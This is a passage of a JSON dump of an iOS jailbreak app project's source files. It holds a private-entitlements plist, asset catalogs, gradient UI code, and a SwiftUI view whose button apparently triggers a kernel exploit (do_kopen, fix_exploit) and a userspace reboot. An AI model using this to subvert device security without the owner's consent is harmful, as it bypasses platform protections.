t<key>com.apple.private.security.storage.AppBundles</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.AppDataContainers</key>\n\t<true/>\n\t<key>com.apple.security.iokit-user-client-class</key>\n\t<array>\n\t\t<string>AGXDevice</string>\n\t\t<string>AGXCommandQueue</string>\n\t\t<string>AGXSharedUserClient</string>\n\t\t<string>AGXDeviceUserClient</string>\n\t\t<string>iokit-open-user-client</string>\n\t\t<string>IOSurfaceRootUserClient</string>\n\t</array>\n\t<key>com.apple.developer.driverkit</key>\n\t<true/>\n\t<key>com.apple.developer.driverkit.userclient-access</key>\n\t<true/>\n\t<key>com.apple.private.memorystatus</key>\n\t<true/>\n\t<key>com.apple.security.exception.mach-lookup.global-name</key>\n\t<array>\n\t\t<string>com.apple.mmaintenanced</string>\n\t\t<string>com.apple.memory-maintenance</string>\n\t</array>\n\t<key>com.apple.AutoWake-write-access</key>\n\t<true/>\n\t<key>com.apple.springboard.wallpaper-access</key>\n\t<true/>\n\t<key>com.apple.features.all-access</key>\n\t<true/>\n\t<key>com.apple.springboard.appbackgroundstyle</key>\n\t<true/>\n\t<key>com.apple.springboard.wallpaperAnimationSuspension</key>\n\t<true/>\n</dict>\n</plist>\n"
  },
  {
    "path": "usprebooter/Assets.xcassets/AccentColor.colorset/Contents.json",
    "content": "{\n  \"colors\" : [\n    {\n      \"color\" : {\n        \"color-space\" : \"srgb\",\n        \"components\" : {\n          \"alpha\" : \"1.000\",\n          \"blue\" : \"0.404\",\n          \"green\" : \"0.255\",\n          \"red\" : \"0.776\"\n        }\n      },\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "usprebooter/Assets.xcassets/AppIcon.appiconset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"filename\" : \"serotonin.png\",\n      \"idiom\" : \"universal\",\n      \"platform\" : \"ios\",\n      \"size\" : \"1024x1024\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "usprebooter/Assets.xcassets/Contents.json",
    "content": "{\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "usprebooter/Assets.xcassets/accent.colorset/Contents.json",
    "content": "{\n  \"colors\" : [\n    {\n      \"color\" : {\n        \"color-space\" : \"srgb\",\n        \"components\" : {\n          \"alpha\" : \"1.000\",\n          \"blue\" : \"0.404\",\n          \"green\" : \"0.255\",\n          \"red\" : \"0.776\"\n        }\n      },\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "usprebooter/Assets.xcassets/alfienick.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"filename\" : \"alfienick.png\",\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "usprebooter/Assets.xcassets/bedtime.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"filename\" : \"bedtime.jpg\",\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "usprebooter/Assets.xcassets/duy.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"filename\" : \"duy.jpg\",\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "usprebooter/Assets.xcassets/fish.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"filename\" : \"bomberfish-picasso.png\",\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "usprebooter/Assets.xcassets/haxi0.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"filename\" : \"haxi0.jpg\",\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "usprebooter/Assets.xcassets/htrowii.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"filename\" : \"htrowii.jpg\",\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "usprebooter/ContentView.swift",
    "content": "import SwiftUI\n\nstruct ContentView: View {\n    @State var LogItems: [String.SubSequence] = [\"\"]\n\n    @AppStorage(\"headroom\") var staticHeadroomMB: Double = 384.0\n    @AppStorage(\"pages\") var pUaFPages: Double = 3072.0\n    @Binding var useNewUI: Bool\n    var body: some View {\n        // thx haxi0\n        VStack {\n            HStack {\n                Button(\"do the thing!\") {\n                    DispatchQueue.main.async {\n                        do_kopen(UInt64(pUaFPages), 1, 1, 1, Int(staticHeadroomMB), true)\n                        fix_exploit()\n                        go()\n                        do_kclose()\n                    }\n                }\n                Button(\"reboot userspace\") {\n                    userspaceReboot()\n                }\n            }\n            let memSizeMB = getPhysicalMemorySize() / 1048576\n            HStack {\n                Text(\"Headroom: \\(Int(staticHeadroomMB))\")\n                Slider(value: $staticHeadroomMB, in: 0...Double(memSizeMB), step: 128.0)\n            }\n            HStack {\n                Text(\"puaf pages: \\(Int(pUaFPages))\")\n                Slider(value: $pUaFPages, in: 16...4096, step: 16.0)\n            }\n            ScrollView {\n                ScrollViewReader { scroll in\n                    VStack(alignment: .leading) {\n                        ForEach(0 ..< LogItems.count, id: \\.self) { LogItem in\n                            Text(\"\\(String(LogItems[LogItem]))\")\n                                .textSelection(.enabled)\n                                .font(.custom(\"Menlo\", size: 10))\n                                .foregroundColor(.white)\n                        }\n                    }\n                    .onReceive(NotificationCenter.default.publisher(for: LogStream.shared.reloadNotification)) { _ in\n                        DispatchQueue.global(qos: .utility).async {\n                            FetchLog()\n                            scroll.scrollTo(LogItems.count - 1)\n                        }\n                    }\n                }\n            }\n            .frame(height: 230)\n        }\n        .padding(20)\n        .background {\n            Color(.black)\n                .cornerRadius(20)\n                .opacity(0.5)\n        }\n        Button(\"Back to new UI\", systemImage: \"switch.2\") {\n            withAnimation(fancyAnimation) {\n                useNewUI.toggle()\n            }\n        }\n    }\n    private func FetchLog() {\n        guard let AttributedText = LogStream.shared.outputString.copy() as? NSAttributedString else {\n            LogItems = [\"Error Getting Log!\"]\n            return\n        }\n        LogItems = AttributedText.string.split(separator: \"\\n\")\n    }\n}\n\n// #Preview {\n//    ContentView()\n// }\n"
  },
  {
    "path": "usprebooter/External/FluidGradient/BlobLayer.swift",
    "content": "//\n//  BlobLayer.swift\n//  BlobLayer\n//\n//  Created by João Gabriel Pozzobon dos Santos on 04/10/22.\n//\n\nimport SwiftUI\n\n/// A CALayer that draws a single blob on the screen\npublic class BlobLayer: CAGradientLayer {\n    init(color: Color) {\n        super.init()\n        \n        self.type = .radial\n        #if os(OSX)\n        autoresizingMask = [.layerWidthSizable, .layerHeightSizable]\n        #endif\n        \n        // Set color\n        set(color: color)\n        \n        // Center point\n        let position = newPosition()\n        self.startPoint = position\n        \n        // Radius\n        let radius = newRadius()\n        self.endPoint = position.displace(by: radius)\n    }\n    \n    /// Generate a random point on the canvas\n    func newPosition() -> CGPoint {\n        return CGPoint(x: CGFloat.random(in: 0.0...1.0),\n                       y: CGFloat.random(in: 0.0...1.0)).capped()\n    }\n    \n    /// Generate a random radius for the blob\n    func newRadius() -> CGPoint {\n        let size = CGFloat.random(in: 0.15...0.75)\n        let viewRatio = frame.width/frame.height\n        let safeRatio = max(viewRatio.isNaN ? 1 : viewRatio, 1)\n        let ratio = safeRatio*CGFloat.random(in: 0.25...1.75)\n        return CGPoint(x: size,\n                       y: size*ratio)\n    }\n    \n    /// Animate the blob to a random point and size on screen at set speed\n    func animate(speed: CGFloat) {\n        guard speed > 0 else { return }\n        \n        self.removeAllAnimations()\n        let currentLayer = self.presentation() ?? self\n        \n        let animation = CASpringAnimation()\n        animation.mass = 10/speed\n        animation.damping = 50\n        animation.duration = 1/speed\n        \n        animation.isRemovedOnCompletion = false\n        animation.fillMode = CAMediaTimingFillMode.forwards\n        \n        let position = newPosition()\n        let radius = newRadius()\n        \n        // Center point\n        let start = animation.copy() as! CASpringAnimation\n        start.keyPath = \"startPoint\"\n        start.fromValue = currentLayer.startPoint\n        start.toValue = position\n        \n        // Radius\n        let end = animation.copy() as! CASpringAnimation\n        end.keyPath = \"endPoint\"\n        end.fromValue = currentLayer.endPoint\n        end.toValue = position.displace(by: radius)\n        \n        self.startPoint = position\n        self.endPoint = position.displace(by: radius)\n        \n        // Opacity\n        let value = Float.random(in: 0.5...1)\n        let opacity = animation.copy() as! CASpringAnimation\n        opacity.fromValue = self.opacity\n        opacity.toValue = value\n        \n        self.opacity = value\n        \n        self.add(opacity, forKey: \"opacity\")\n        self.add(start, forKey: \"startPoint\")\n        self.add(end, forKey: \"endPoint\")\n    }\n    \n    /// Set the color of the blob\n    func set(color: Color) {\n        // Converted to the system color so that cgColor isn't nil\n        self.colors = [SystemColor(color).cgColor,\n                       SystemColor(color).cgColor,\n                       SystemColor(color.opacity(0.0)).cgColor]\n        self.locations = [0.0, 0.9, 1.0]\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    // Required by the framework\n    public override init(layer: Any) {\n        super.init(layer: layer)\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/FluidGradient/CGPoint+Extensions.swift",
    "content": "//\n//  CGPoint+Extensions.swift\n//  \n//\n//  Created by João Gabriel Pozzobon dos Santos on 03/10/22.\n//\n\nimport CoreGraphics\n\nextension CGPoint {\n    /// Build a point from an origin and a displacement\n    func displace(by point: CGPoint = .init(x: 0.0, y: 0.0)) -> CGPoint {\n        return CGPoint(x: self.x+point.x,\n                       y: self.y+point.y)\n    }\n    \n    /// Caps the point to the unit space\n    func capped() -> CGPoint {\n        return CGPoint(x: max(min(x, 1), 0),\n                       y: max(min(y, 1), 0))\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/FluidGradient/FluidGradient.swift",
    "content": "//\n//  FluidGradient.swift\n//  FluidGradient\n//\n//  Created by Oskar Groth on 2021-12-23.\n//\n\nimport SwiftUI\n\npublic struct FluidGradient: View {\n    private var blobs: [Color]\n    private var highlights: [Color]\n    private var speed: CGFloat\n    private var blur: CGFloat\n    \n    @State var blurValue: CGFloat = 0.0\n    \n    public init(blobs: [Color],\n                highlights: [Color] = [],\n                speed: CGFloat = 1.0,\n                blur: CGFloat = 0.75) {\n        self.blobs = blobs\n        self.highlights = highlights\n        self.speed = speed\n        self.blur = blur\n    }\n    \n    public var body: some View {\n        Representable(blobs: blobs,\n                      highlights: highlights,\n                      speed: speed,\n                      blurValue: $blurValue)\n        .blur(radius: pow(blurValue, blur))\n        .accessibility(hidden: true)\n        .clipped()\n    }\n}\n\n#if os(OSX)\ntypealias SystemRepresentable = NSViewRepresentable\n#else\ntypealias SystemRepresentable = UIViewRepresentable\n#endif\n\n// MARK: - Representable\nextension FluidGradient {\n    struct Representable: SystemRepresentable {\n        var blobs: [Color]\n        var highlights: [Color]\n        var speed: CGFloat\n        \n        @Binding var blurValue: CGFloat\n        \n        func makeView(context: Context) -> FluidGradientView {\n            context.coordinator.view\n        }\n        \n        func updateView(_ view: FluidGradientView, context: Context) {\n            context.coordinator.create(blobs: blobs, highlights: highlights)\n            DispatchQueue.main.async {\n                context.coordinator.update(speed: speed)\n            }\n        }\n        \n#if os(OSX)\n        func makeNSView(context: Context) -> FluidGradientView {\n            makeView(context: context)\n        }\n        func updateNSView(_ view: FluidGradientView, context: Context) {\n            updateView(view, context: context)\n        }\n#else\n        func makeUIView(context: Context) -> FluidGradientView {\n            makeView(context: context)\n        }\n        func updateUIView(_ view: FluidGradientView, context: Context) {\n            updateView(view, context: context)\n        }\n#endif\n        \n        func makeCoordinator() -> Coordinator {\n            Coordinator(blobs: blobs,\n                        highlights: highlights,\n                        speed: speed,\n                        blurValue: $blurValue)\n        }\n    }\n    \n    class Coordinator: FluidGradientDelegate {\n        var blobs: [Color]\n        var highlights: [Color]\n        var speed: CGFloat\n        var blurValue: Binding<CGFloat>\n        \n        var view: FluidGradientView\n        \n        init(blobs: [Color],\n             highlights: [Color],\n             speed: CGFloat,\n             blurValue: Binding<CGFloat>) {\n            self.blobs = blobs\n            self.highlights = highlights\n            self.speed = speed\n            self.blurValue = blurValue\n            self.view = FluidGradientView(blobs: blobs,\n                                          highlights: highlights,\n                                          speed: speed)\n            self.view.delegate = self\n        }\n        \n        /// Create blobs and highlights\n        func create(blobs: [Color], highlights: [Color]) {\n            guard blobs != self.blobs || highlights != self.highlights else { return }\n            self.blobs = blobs\n            self.highlights = highlights\n            \n            view.create(blobs, layer: view.baseLayer)\n            view.create(highlights, layer: view.highlightLayer)\n            view.update(speed: speed)\n        }\n        \n        /// Update speed\n        func update(speed: CGFloat) {\n            guard speed != self.speed else { return }\n            self.speed = speed\n            view.update(speed: speed)\n        }\n        \n        func updateBlur(_ value: CGFloat) {\n            blurValue.wrappedValue = value\n        }\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/FluidGradient/FluidGradientView.swift",
    "content": "//\n//  FluidGradientView.swift\n//  FluidGradientView\n//\n//  Created by Oskar Groth on 2021-12-23.\n//\n\nimport SwiftUI\nimport Combine\n \n#if os(OSX)\nimport AppKit\npublic typealias SystemColor = NSColor\npublic typealias SystemView = NSView\n#else\nimport UIKit\npublic typealias SystemColor = UIColor\npublic typealias SystemView = UIView\n#endif\n\n/// A system view that presents an animated gradient with ``CoreAnimation``\npublic class FluidGradientView: SystemView {\n    var speed: CGFloat\n    \n    let baseLayer = ResizableLayer()\n    let highlightLayer = ResizableLayer()\n    \n    var cancellables = Set<AnyCancellable>()\n    \n    weak var delegate: FluidGradientDelegate?\n    \n    init(blobs: [Color] = [],\n         highlights: [Color] = [],\n         speed: CGFloat = 1.0) {\n        self.speed = speed\n        super.init(frame: .zero)\n        \n        if let compositingFilter = CIFilter(name: \"CIOverlayBlendMode\") {\n            highlightLayer.compositingFilter = compositingFilter\n        }\n        \n        #if os(OSX)\n        layer = ResizableLayer()\n        \n        wantsLayer = true\n        postsFrameChangedNotifications = true\n        \n        layer?.delegate = self\n        baseLayer.delegate = self\n        highlightLayer.delegate = self\n        \n        self.layer?.addSublayer(baseLayer)\n        self.layer?.addSublayer(highlightLayer)\n        #else\n        self.layer.addSublayer(baseLayer)\n        self.layer.addSublayer(highlightLayer)\n        #endif\n        \n        create(blobs, layer: baseLayer)\n        create(highlights, layer: highlightLayer)\n        DispatchQueue.main.async {\n            self.update(speed: speed)\n        }\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    /// Create blobs and add to specified layer\n    public func create(_ colors: [Color], layer: CALayer) {\n        // Remove blobs at the end if colors are removed\n        let count = layer.sublayers?.count ?? 0\n        let removeCount = count - colors.count\n        if removeCount > 0 {\n            layer.sublayers?.removeLast(removeCount)\n        }\n        \n        for (index, color) in colors.enumerated() {\n            if index < count {\n                if let existing = layer.sublayers?[index] as? BlobLayer {\n                    existing.set(color: color)\n                }\n            } else {\n                layer.addSublayer(BlobLayer(color: color))\n            }\n        }\n    }\n    \n    /// Update sublayers and set speed and blur levels\n    public func update(speed: CGFloat) {\n        cancellables.removeAll()\n        self.speed = speed\n        guard speed > 0 else { return }\n        \n        let layers = (baseLayer.sublayers ?? []) + (highlightLayer.sublayers ?? [])\n        for layer in layers {\n            if let layer = layer as? BlobLayer {\n                Timer.publish(every: .random(in: 0.8/speed...1.2/speed),\n                              on: .main,\n                              in: .common)\n                    .autoconnect()\n                    .sink { _ in\n                        #if os(OSX)\n                        let visible = self.window?.occlusionState.contains(.visible)\n                        guard visible == true else { return }\n                        #endif\n                        layer.animate(speed: speed)\n                    }\n                    .store(in: &cancellables)\n            }\n        }\n    }\n    \n    /// Compute and update new blur value\n    private func updateBlur() {\n        delegate?.updateBlur(min(frame.width, frame.height))\n    }\n    \n    /// Functional methods\n    #if os(OSX)\n    public override func viewDidMoveToWindow() {\n        super.viewDidMoveToWindow()\n        let scale = window?.backingScaleFactor ?? 2\n        layer?.contentsScale = scale\n        baseLayer.contentsScale = scale\n        highlightLayer.contentsScale = scale\n        \n        updateBlur()\n    }\n    \n    public override func resize(withOldSuperviewSize oldSize: NSSize) {\n        updateBlur()\n    }\n    #else\n    public override func layoutSubviews() {\n        layer.frame = self.bounds\n        baseLayer.frame = self.bounds\n        highlightLayer.frame = self.bounds\n        \n        updateBlur()\n    }\n    #endif\n}\n\nprotocol FluidGradientDelegate: AnyObject {\n    func updateBlur(_ value: CGFloat)\n}\n\n#if os(OSX)\nextension FluidGradientView: CALayerDelegate, NSViewLayerContentScaleDelegate {\n    public func layer(_ layer: CALayer,\n                      shouldInheritContentsScale newScale: CGFloat,\n                      from window: NSWindow) -> Bool {\n        return true\n    }\n}\n#endif\n"
  },
  {
    "path": "usprebooter/External/FluidGradient/ResizableLayer.swift",
    "content": "//\n//  ResizableLayer.swift\n//  ResizableLayer\n//\n//  Created by João Gabriel Pozzobon dos Santos on 03/10/22.\n//\n\nimport SwiftUI\n\n/// An implementation of ``CALayer`` that resizes its sublayers\npublic class ResizableLayer: CALayer {\n    override init() {\n        super.init()\n        #if os(OSX)\n        autoresizingMask = [.layerWidthSizable, .layerHeightSizable]\n        #endif\n        sublayers = []\n    }\n    \n    public override init(layer: Any) {\n        super.init(layer: layer)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    public override func layoutSublayers() {\n        super.layoutSublayers()\n        sublayers?.forEach { layer in\n            layer.frame = self.frame\n        }\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/Backport.swift",
    "content": "import SwiftUI\nimport ObjectiveC\n\n/// Provides a convenient method for backporting API,\n/// including types, functions, properties, property wrappers and more.\n///\n/// To backport a SwiftUI Label for example, you could apply the\n/// following extension:\n///\n///     extension Backport where Content == Any {\n///         public struct Label<Title, Icon> { }\n///     }\n///\n/// Now if we want to provide further extensions to our backport type,\n/// we need to ensure we retain the `Content == Any` generic requirement:\n///\n///     extension Backport.Label where Content == Any, Title == Text, Icon == Image {\n///         public init<S: StringProtocol>(_ title: S, systemName: String) { }\n///     }\n///\n/// In addition to types, we can also provide backports for properties\n/// and methods:\n///\n///     extension Backport.Label where Content: View {\n///         func onChange<Value: Equatable>(of value: Value, perform action: (Value) -> Void) -> some View {\n///             // `content` provides access to the extended type\n///             content.modifier(OnChangeModifier(value, action))\n///         }\n///     }\n///\npublic struct Backport<Wrapped> {\n    /// The underlying content this backport represents.\n    public let wrapped: Wrapped\n\n    /// Initializes a new Backport for the specified content.\n    /// - Parameter content: The content (type) that's being backported\n    public init(_ wrapped: Wrapped) {\n        self.wrapped = wrapped\n    }\n}\n\npublic extension Backport where Wrapped == Any {\n    init(_ wrapped: Wrapped) {\n        self.wrapped = wrapped\n    }\n}\n\npublic extension NSObjectProtocol {\n    /// Wraps an `NSObject` that can be extended to provide backport functionality.\n    var backport: Backport<Self> { .init(self) }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Representations/Codable+Representation.swift",
    "content": "//import Foundation\n//import Combine\n//\n//@available(iOS, deprecated: 16)\n//@available(tvOS, deprecated: 16)\n//@available(macOS, deprecated: 13)\n//@available(watchOS, deprecated: 9)\n//public extension Backport<Any> {\n//    /// A transfer representation for types that participate in Swift's protocols for encoding and decoding.\n//    ///\n//    ///     struct Todo: Codable, BackportTransferable {\n//    ///         var text: String\n//    ///         var isDone = false\n//    ///\n//    ///         static var transferRepresentation: some BackportTransferRepresentation {\n//    ///             Backport.CodableRepresentation(contentType: .todo)\n//    ///         }\n//    ///     }\n//    ///\n//    ///      extension Backport.UTType {\n//    ///          static var todo: Backport.UTType { .init(exportedAs: \"com.example.todo\") }\n//    ///     }\n//    ///\n//    /// > Important: If your app declares custom uniform type identifiers,\n//    /// include corresponding entries in the app's `Info.plist`.\n//    ///\n//    struct CodableRepresentation<Item, Encoder, Decoder>: BackportTransferRepresentation, Sendable where Item: BackportTransferable, Item: Decodable, Item: Encodable, Encoder: TopLevelEncoder, Decoder: TopLevelDecoder, Encoder.Output == Data, Decoder.Input == Data {\n//        /// Creates a transfer representation for a given type and type identifier.\n//        ///\n//        /// This initializer uses JSON for encoding and decoding.\n//        ///\n//        /// - Parameters:\n//        ///   - itemType: The concrete type of the item that's being transferred.\n//        ///   - contentType: A uniform type identifier that best describes the item.\n//        public init(for itemType: Item.Type = Item.self, contentType: Backport.UTType) where Encoder == JSONEncoder, Decoder == JSONDecoder {\n//\n//        }\n//\n//        /// Creates a transfer representation for a given type with the encoder and decoder you supply.\n//        ///\n//        /// - Parameters:\n//        ///   - itemType: The concrete type of the item that's being transported.\n//        ///   - contentType: A uniform type identifier that best describes the item.\n//        ///   - encoder: An instance of a type that can convert the item being transferred\n//        ///   into binary data with a specific structure.\n//        ///   - decoder: An instance of a type that can convert specifically structured\n//        ///   binary data into the item being transferred.\n//        public init(for itemType: Item.Type = Item.self, contentType: Backport.UTType, encoder: Encoder, decoder: Decoder) {\n//\n//        }\n//\n//        /// The transfer representation for the item.\n//        public typealias Body = Never\n//    }\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Representations/Data+Representation.swift",
    "content": "//import Foundation\n//\n//public extension Backport<Any> {\n//    /// A transfer representation for types that provide their own binary data conversion.\n//    ///\n//    /// Use this transfer representation if your model is stored in memory.\n//    /// For example, a drawing app might have a notion of a *layer*\n//    /// that can be converted to and from a custom binary data format and\n//    /// also converted to the PNG image type:\n//    ///\n//    ///     struct ImageDocumentLayer {\n//    ///         init(data: Data) throws\n//    ///         func data() -> Data\n//    ///         func pngData() -> Data\n//    ///     }\n//    ///\n//    /// You can provide multiple transfer representations for a model type,\n//    /// even if the transfer representation types are the same.\n//    /// The following shows the `ImageDocumentLayer` structure\n//    /// conforming to `BackportTransferable` with two `Backport.DataRepresentation` instances\n//    /// composed together:\n//    ///\n//    ///     extension ImageDocumentLayer: BackportTransferable {\n//    ///         static var transferRepresentation: some BackportTransferRepresentation {\n//    ///             Backport.DataRepresentation(contentType: .layer) { layer in\n//    ///                     layer.data()\n//    ///                 } importing: { data in\n//    ///                     try ImageDocumentLayer(data: data)\n//    ///                 }\n//    ///             Backport.DataRepresentation(exportedContentType: .png) { layer in\n//    ///                 layer.pngData()\n//    ///             }\n//    ///         }\n//    ///     }\n//    ///\n//    /// The example drawing app's custom transfer representation comes first\n//    /// so that apps that know about the custom transfer representation can use it.\n//    /// The second transfer representation offers export compatibility with other apps\n//    /// that work with PNG images.\n//    ///\n//    /// > Tip: If a type conforms to `Codable`, `Backport.CodableRepresentation` might be\n//    /// a more convenient choice than `Backport.DataRepresentation`.\n//    struct DataRepresentation<Item>: BackportTransferRepresentation where Item: BackportTransferable {\n//        let representation: DataTransferRepresentation\n//\n//        /// Creates a representation that allows transporting an item as binary data.\n//        ///\n//        /// - Parameters:\n//        ///   - contentType: A uniform type identifier that best describes the item.\n//        ///   - exporting: A closure that provides a data representation of the given item.\n//        ///   - importing: A closure that instantiates the item with given binary data.\n//        public init(contentType: Backport.UTType, exporting: @escaping @Sendable (Item) async throws -> Data, importing: @escaping @Sendable (Data) async throws -> Item) {\n//            representation = .init(contentType: contentType, exporting: exporting, importing: importing)\n//        }\n//\n//        /// Creates a representation that allows exporting an item as binary data.\n//        ///\n//        /// - Parameters:\n//        ///   - exportedContentType: A uniform type identifier that best describes the item.\n//        ///   - exporting: A closure that provides a data representation of the given item.\n//        public init(exportedContentType: Backport.UTType, exporting: @escaping @Sendable (Item) async throws -> Data) {\n//            representation = .init(contentType: exportedContentType, exporting: exporting)\n//        }\n//\n//        /// Creates a representation that allows importing an item as binary data.\n//        ///\n//        /// - Parameters:\n//        ///   - importedContentType: A uniform type identifier that best describes the item.\n//        ///   - importing: A closure that instantiates the item with given binary data\n//        public init(importedContentType: Backport.UTType, importing: @escaping @Sendable (Data) async throws -> Item) {\n//            representation = .init(contentType: importedContentType, importing: importing)\n//        }\n//\n//        public var body: Never { fatalError() }\n//    }\n//\n//}\n//\n//struct DataTransferRepresentation {\n//    let contentType: Backport<Any>.UTType\n//    let exporting: (@Sendable (Any) async throws -> Data)?\n//    let importing: (@Sendable (Data) async throws -> Any)?\n//\n//    init<Item: BackportTransferable>(contentType: Backport<Any>.UTType, exporting: @escaping (Item) async throws -> Data, importing: @escaping (Data) async throws -> Item) {\n//        self.contentType = contentType\n//        self.exporting = { item in try await exporting(item as! Item) }\n//        self.importing = { data in try await importing(data) }\n//    }\n//\n//    init<Item: BackportTransferable>(contentType: Backport<Any>.UTType, exporting: @escaping (Item) async throws -> Data) {\n//        self.contentType = contentType\n//        self.exporting = { item in try await exporting(item as! Item) }\n//    }\n//\n//    init<Item: BackportTransferable>(contentType: Backport<Any>.UTType, importing: @escaping (Data) async throws -> Item) {\n//        self.contentType = contentType\n//        self.importing = { data in try await importing(data) }\n//    }\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Representations/File+Representations.swift",
    "content": "//import Foundation\n//\n//@available(iOS, deprecated: 16)\n//@available(tvOS, deprecated: 16)\n//@available(macOS, deprecated: 13)\n//@available(watchOS, deprecated: 9)\n//public extension Backport<Any> {\n//    /// A transfer representation for types that transfer as a file URL.\n//    ///\n//    /// Use a `Backport.FileRepresentation` for transferring types\n//    /// that involve a large amount of data.\n//    /// For example, if your app defines a `Movie` type that could represent a lengthy video,\n//    /// use a `Backport.FileRepresentation` instance\n//    /// to transfer the video data to another app or process.\n//    ///\n//    ///     struct Movie: BackportTransferable {\n//    ///         let url: URL\n//    ///         static var transferRepresentation: some BackportTransferRepresentation {\n//    ///             Backport.FileRepresentation(contentType: .mpeg4Movie) { movie in\n//    ///                 Backport.SentTransferredFile($0.url)\n//    ///                 } importing: { received in\n//    ///                     let copy: URL = URL(fileURLWithPath: \"<#...#>\")\n//    ///                     try FileManager.default.copyItem(at: received.file, to: copy)\n//    ///                     return Self.init(url: copy) }\n//    ///         }\n//    ///     }\n//    /// It's efficient to pass such data around as a file and the receiver\n//    /// loads it into memory only if it's required.\n//    ///\n//    struct FileRepresentation<Item>: BackportTransferRepresentation where Item: BackportTransferable {\n//        /// Creates a transfer representation for importing and exporting\n//        /// transferable items as files.\n//        ///\n//        /// - Parameters:\n//        ///   - contentType: A uniform type identifier that best describes the item.\n//        ///   - shouldAttemptToOpenInPlace: A Boolean value that\n//        ///   indicates whether the receiver gains access to the original item on disk\n//        ///   and can edit it,\n//        ///   or to a copy made by the system.\n//        ///   - exporting: A closure that provides a file representation of the given item.\n//        ///   - importing: A closure that instantiates the item with given file promise.\n//        /// The file referred to by the\n//        /// `Backport.ReceivedTransferredFile.file` property of the\n//        /// `Backport.ReceivedTransferredFile` instance\n//        /// is only guaranteed to exist within the `importing` closure. If you need the file\n//        /// to be around for a longer period, make a copy in the `importing` closure.\n//        public init(contentType: Backport.UTType, shouldAttemptToOpenInPlace: Bool = false, exporting: @escaping @Sendable (Item) async throws -> Backport.SentTransferredFile, importing: @escaping @Sendable (Backport.ReceivedTransferredFile) async throws -> Item) {\n//\n//        }\n//\n//        /// Creates a transfer representation for exporting transferable items as files.\n//        ///\n//        /// - Parameters:\n//        ///   - exportedContentType: A uniform type identifier for the file `URL`,\n//        ///   returned by the `exporting` closure.\n//        ///   - shouldAllowToOpenInPlace: A Boolean value that indicates whether\n//        ///   the receiver can try to gain access to the original item on disk\n//        ///   and can edit it.\n//        ///   If `false`, the receiver only has access to a copy of the file\n//        ///   made by the system.\n//        ///   - exporting: A closure that provides a file representation of the given item.\n//        public init(exportedContentType: Backport.UTType, shouldAllowToOpenInPlace: Bool = false, exporting: @escaping @Sendable (Item) async throws -> Backport.SentTransferredFile) {\n//\n//        }\n//\n//        /// Creates a transfer representation for importing transferable items as files.\n//        ///\n//        /// - Parameters:\n//        ///   - importedContentType: A uniform type identifier for the file promise,\n//        ///   returned by the `exporting` closure.\n//        ///   - shouldAttemptToOpenInPlace: A Boolean value that indicates whether\n//        ///   the receiver wants to gain access to the original item on disk\n//        ///   and can edit it.\n//        ///   If `false`, the receiver only has access to a copy of the file\n//        ///   made by the system.\n//        ///   - importing: A closure that creates the item with given file promise.\n//        /// The file referred to by the `file` property of the `ReceivedTransferredFile`\n//        /// is only guaranteed to exist within the `importing` closure. If you need the file\n//        /// to be around for a longer period, make a copy in the `importing` closure.\n//        public init(importedContentType: Backport.UTType, shouldAttemptToOpenInPlace: Bool = false, importing: @escaping @Sendable (Backport.ReceivedTransferredFile) async throws -> Item) {\n//\n//        }\n//\n//        /// The transfer representation for the item.\n//        public typealias Body = Never\n//    }\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Representations/Never+Representation.swift",
